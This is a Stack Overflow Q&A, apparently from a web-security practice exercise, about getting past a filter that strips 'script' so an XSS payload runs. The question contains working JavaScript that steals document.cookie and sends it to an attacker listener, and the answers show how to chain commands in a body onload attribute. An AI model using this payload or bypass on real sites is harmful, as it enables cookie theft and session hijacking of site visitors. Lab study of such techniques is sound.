【问题标题】:XSS with "script" removal带有“脚本”删除的 XSS
【发布时间】:2015-11-30 05:33:16
【问题描述】:

这是来自网络安全实践问题。

该站点(为此目的设置)尝试通过使用以下代码过滤“脚本”标签来防止 XSS:

filtered = re.sub(r"(?i)script", "", input)

任务是在受害者的浏览器中执行一个有效负载,该负载将执行包括将其 cookie 发送到远程 netcat 连接在内的事情。 (当网站没有过滤“脚本”时,我已经完成了这项工作)。

我对此进行了研究,发现我可以通过以下查询来执行单个 javascript 命令:

"<body onload=alert(\"hello\");>"

但是,这并不能解决我的问题,因为它只能执行一个命令(我相信)。我需要执行的有效负载包含多个命令。

我也尝试过使用 HTML 字符代码来避开过滤器,例如:

"<s&#99;ript>..."

但过滤器会捕获它。

这是我正在使用的代码库:

<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>

function payload(attacker) {
    function log(data) {
        $.get(attacker, data);
        }
        function proxy(href) {
            $("html").load(href, function(){
                //Send cookie to remote connection
                log(document.cookie);
            });
        }
        proxy("./");
    }

    function makeLink(xssdefense, target, attacker) {
        if (xssdefense == 0) {
            //Code to execute when there is no filter
            return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
                encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
        }
        else {
            //Code to execute when 'script' is filtered
            return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
                encodeURIComponent("<body onload=alert(\"test\");>"); 
            }
    }

    var xssdefense = 1;
    var target = "http://81.211.34.1/xsstest";
    var attacker = "http://127.0.0.1:31337/";

    $(function() {
        var url = makeLink(xssdefense, target, attacker);
        $("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
        document.getElementById("link").click();
        });
        </script> <h3></h3>
    </html>

任何帮助将不胜感激!

【问题讨论】:

  • r" (?i)script"?你确定吗?这听起来像是语法错误。

标签: javascript xss


【解决方案1】:

onload= 属性中只能有一个表达式,但您仍然可以执行多个命令。

好办法:

<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">

这定义了一个函数表达式,它执行 3 个命令,然后被调用(最后是 ())。

更有效的方法(但说真的,请选择第一种):

<body onload="cmd1(), cmd2(), cmd3();">

或者,如果您知道它们都返回错误值(例如 undefined 不返回任何内容)

<body onload="cmd1() || cmd2() || cmd3();">

相反,如果您知道它们都返回真实值(如数字、字符串或对象)

<body onload="cmd1() && cmd2() && cmd3();">

【讨论】:

    【解决方案2】:

    可以onload中有多个表达式:

    <body onload="alert(1); alert(2);">
    

    【讨论】:

      猜你喜欢
      • 2015-09-27
      • 2016-09-22
      • 2021-12-14
      • 2016-06-04
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多